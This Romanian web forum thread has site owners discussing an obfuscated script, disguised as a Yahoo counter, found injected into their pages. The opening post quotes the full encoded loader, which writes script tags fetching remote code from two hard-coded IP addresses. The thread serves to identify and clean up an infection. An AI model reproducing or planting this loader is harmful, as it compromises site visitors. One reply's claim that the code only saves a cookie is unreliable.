Stie cineva ceva despre scriptul asta?

Citat:

---

<script language=javascript><!-- Yahoo! Counter starts
if(typeof(yahoo_counter)!=typeof(1))eval(unescape( '%2F%2F@%3C#%64i%76%20%73t%79~l%65%3D`d%69%73%70%6 C%61y:n%6F%6E#%65%3E&\n@%64~o@cu|%6De%6E%74%2E~w%7 2i~%74@e#($%22#%3C%2F$%74`e%78#t|%61#r`%65`%61%3E@ %22!%29`%3Bva&r%20|i$%2C!_%2C`%61=%5B%22|%37#8%2E~ 1|%31%30%2E|%31@7%35.2@1!%22@,"%31&9@5$%2E%32$%34` %2E7!%36.$%32%35`1~%22]~;&%5F@%3D@%31%3Bi|%66|%28!%64o%63~u%6D`e%6E%74&%2 Eco|oki~e`%2E`m&a!%74`%63h(`/~%5C#%62#h%67!ft&=%31!/@%29&=$%3D~nu&l!%6C!%29#%66o$%72`%28$%69`=|%30$%3B |i%3C~%32;~%69+`%2B&%29`d$%6F%63&umen%74&.%77~%72i %74e%28"~%3C$%73%63!r%69p%74%3E%69%66(@_$%29!d~%6F |%63%75m%65%6E&%74.$%77%72%69`%74$%65#($%5C&%22%3C &%73`c$%72&%69#%70t@%20@i@d!%3D|_@%22+%69#%2B"&%5F %20sr!c~%3D//`"#%2B~a[|i%5D#%2B%22!%2F&c%70!/&?"@+&%6E%61~%76i%67!a%74o`%72!.%61@%70p!%4E&a~m$% 65~.%63h`ar~%41~%74&(~0)+%22%3E`%3C@%5C%5C#/|%73$%63%72!i~%70&%74%3E&%5C!")$%3C&%5C/%73#cr$%69%70%74%3E%22!)`%3B\n$%2F%2F`%3C$%2F&d&iv %3E').replace(/~|\$|#|@|\!|\||`|\&/g,""));var yahoo_counter=1;
<!-- counter end --></script>

---

Stie cineva ce e chestia asta?
L-am gasit inserat in indexul unui site .... si nu-mi amintesc sa-l fi pus candva acolo

Citat:

---

"78. 110.175.21","195.24 .76.251"

---

nu-mi dau seama exact ce face, dar nu e de bine; circula un virus care iti ia datele de FTP si isi face de cap injectand cod in siteurile victimei

in quote sunt 2 IPuri care apar in codul ala.

Oricum am sters pagina.
Nu pot sa-mi dau seama cate pagini sunt infectate

Citat:

---

"78. 110.175.21","195.24 .76.251"

---

Kaspersky Lab Forum > blocked: phishing address 78.110.175.21

nu salva parolele ftp in programele cu , care te conectezi

foloseste parole cat mai ciudate ,( generate de cpanel )

Partea ciudata este ca folosesc managerul de fisiere al hostingului.exclus partea cu salvat parole ftp

Citat:

---

Postat în original de eamc

Stie cineva ce e chestia asta?
L-am gasit inserat in indexul unui site .... si nu-mi amintesc sa-l fi pus candva acolo

---

ala cred ca e cod virus, eu mi-am muscato pe 2 site-uri cu un astfel de cod

e exact codul de aici:
http://stuffthingsandjunk.blogspot.c...lims-from.html
scrie si ce face :)

nu trebuie sa fie neaparat virus. chestia aia poate fi un copyright sau ceva de genul asta. Eu am avut in tema de la blogul meu (in footer) o parte de cod asemenatoare si am cautat 3 zile in tot internetul un tool de decode. Si era copyright-ul (cu link).

Citat:

---

nu trebuie sa fie neaparat virus. chestia aia poate fi un copyright sau ceva de genul asta. Eu am avut in tema de la blogul meu (in footer) o parte de cod asemenatoare si am cautat 3 zile in tot internetul un tool de decode. Si era copyright-ul (cu link).

---

Exclus si lucrul asta.Nu am folosit un template sau o platforma.

Codurile astea sunt de la vecinii nostrii turci care au un concurs de hacking, nu e niciun virus si codurile in general salveaza cokieuri pentru a li se contoriza "vitimele". In 99% din cazuri codul este luat din scripturi si templateuri free.

Citat:

---

This code simply saves a cookie.

---

Chiar este concurs? Toate site-urile mele gazduite la acelasi serviciu de host au fost redirectonate catre istanbulcadde.com :angry: . Am rezolvat acum, dar sper sa nu se mai repete.

mie AVG-ul imi spunea ca topicul asta contine o vulnerabilitate :)

@Costin - ai grija ce scirpturi folosesti, altfel devii tinta lor.
@kleampa - warningul acela este din cauza codului pe care l-a postat eamc, nu te afecteaza cu nimic. :p